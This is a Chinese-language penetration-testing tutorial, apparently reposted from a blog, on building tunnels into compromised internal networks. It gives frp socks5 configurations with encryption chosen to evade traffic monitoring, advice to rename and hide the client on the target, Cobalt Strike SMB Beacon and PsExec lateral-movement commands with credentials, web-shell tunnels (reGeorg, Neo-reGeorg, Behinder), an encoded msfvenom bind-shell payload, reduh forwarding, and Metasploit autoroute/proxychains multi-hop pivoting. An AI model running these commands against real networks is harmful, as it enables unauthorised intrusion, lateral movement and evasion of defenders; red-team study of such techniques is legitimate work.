内网穿透常用方法系列总结

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

本文内容按以下思维导图展开

内网穿透常用方法系列总结_第1张图片

 目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

frp(socks5)

frp服务端配置文件

[common]
bind_port = 8080

frp客户端配置文件

[common]
server_addr = xx.xx.xx.xx
server_port = 8080
#服务端口使用Web常见端口
[socks5]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption =   true
use_compression =   true
#socks5口令
#plugin_user = SuperMan
#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽

内网穿透常用方法系列总结_第2张图片

setg Proxies socks5:xxx.xxx.xxx.xxx:8088

内网穿透常用方法系列总结_第3张图片

加密压缩的对比

这是frp客户端配置文件中未使用 encryption 与 compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

 使用 encryption 与 compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备

内网穿透常用方法系列总结_第4张图片

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启

beacon > socks 1024 #端口根据VPS实际情况进行设置

内网穿透常用方法系列总结_第5张图片

 菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

内网穿透常用方法系列总结_第6张图片

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

(在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线)

内网穿透常用方法系列总结_第7张图片

 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

内网穿透常用方法系列总结_第8张图片

 可在主Beacon上用link host链接或unlink host断开。

beacon> link 192.168.144.155
beacon> unlink 192.168.144.155

内网穿透常用方法系列总结_第9张图片

Link Listener

 在已上线的主机创建Listener。

 

内网穿透常用方法系列总结_第10张图片

 导出该类型Listener对应的可执行文件或dll等。

内网穿透常用方法系列总结_第11张图片

 选择刚建立的Listener。

内网穿透常用方法系列总结_第12张图片

 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

内网穿透常用方法系列总结_第13张图片

 在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

内网穿透常用方法系列总结_第14张图片

beacon> shell netstat -ano |findstr 4444

内网穿透常用方法系列总结_第15张图片

SSH Login
beacon> ssh 192.168.144.174:22 root admin
beacon> ssh 192.168.144.203:22 root admin

内网穿透常用方法系列总结_第16张图片

 在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

内网穿透常用方法系列总结_第17张图片

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

内网穿透常用方法系列总结_第18张图片

 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

Neo-reGeorg (加密)
python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http: //192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

内网穿透常用方法系列总结_第19张图片

 

内网穿透常用方法系列总结_第20张图片

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

内网穿透常用方法系列总结_第21张图片

reduh (单端口转发)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

内网穿透常用方法系列总结_第22张图片

 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
#--platform 指定payload的目标平台
#-e, --encoder 指定需要使用的编码器
#-i, --iterations 指定payload的编码次数

内网穿透常用方法系列总结_第23张图片

 上传payload到目标服务器,并执行。

内网穿透常用方法系列总结_第24张图片

metasploit是监听转发后的地址与端口。

sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) >   set   payload windows/shell_bind_tcp
msf5 exploit(multi/handler) >   set   rhost 127.0.0.1
msf5 exploit(multi/handler) >   set   lport 5353
msf5 exploit(multi/handler) > run -j

内网穿透常用方法系列总结_第25张图片

java -jar reDuhClient.jar http: //103.242.xx.xx/reduh.aspx
telnet 127.0.0.1 1010
>>[createTunnel]5353:127.0.0.1:53

内网穿透常用方法系列总结_第26张图片

 可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) >   set   srvport 10080
msf5 auxiliary(server/socks4a) > run -j

内网穿透常用方法系列总结_第27张图片

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

内网穿透常用方法系列总结_第28张图片

隔离网络(多级代理)

 内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

(具体,参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

内网穿透常用方法系列总结_第29张图片

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

内网穿透常用方法系列总结_第30张图片

 设置代理规则,选择对应代理。

内网穿透常用方法系列总结_第31张图片

 二层代理成功,内网隔离机445探测开放。

内网穿透常用方法系列总结_第32张图片

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

内网穿透常用方法系列总结_第33张图片

 联动metasploit,ms17_010探测,可以看到代理链的传输过程。

内网穿透常用方法系列总结_第34张图片

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

msf5 exploit(multi/handler) > sessions 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -p
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
meterpreter > background

内网穿透常用方法系列总结_第35张图片

 上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1   //session id 1
msf5 exploit(multi/handler) > route

内网穿透常用方法系列总结_第36张图片

 可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) >   set   srvport 1080
msf5 auxiliary(server/socks4a) > run -j

然后打开/etc/proxychains.conf

内网穿透常用方法系列总结_第37张图片

原文链接 :  https://www.cnblogs.com/yokan/p/14057794.html

你可能感兴趣的:(网络,服务器,linux,运维)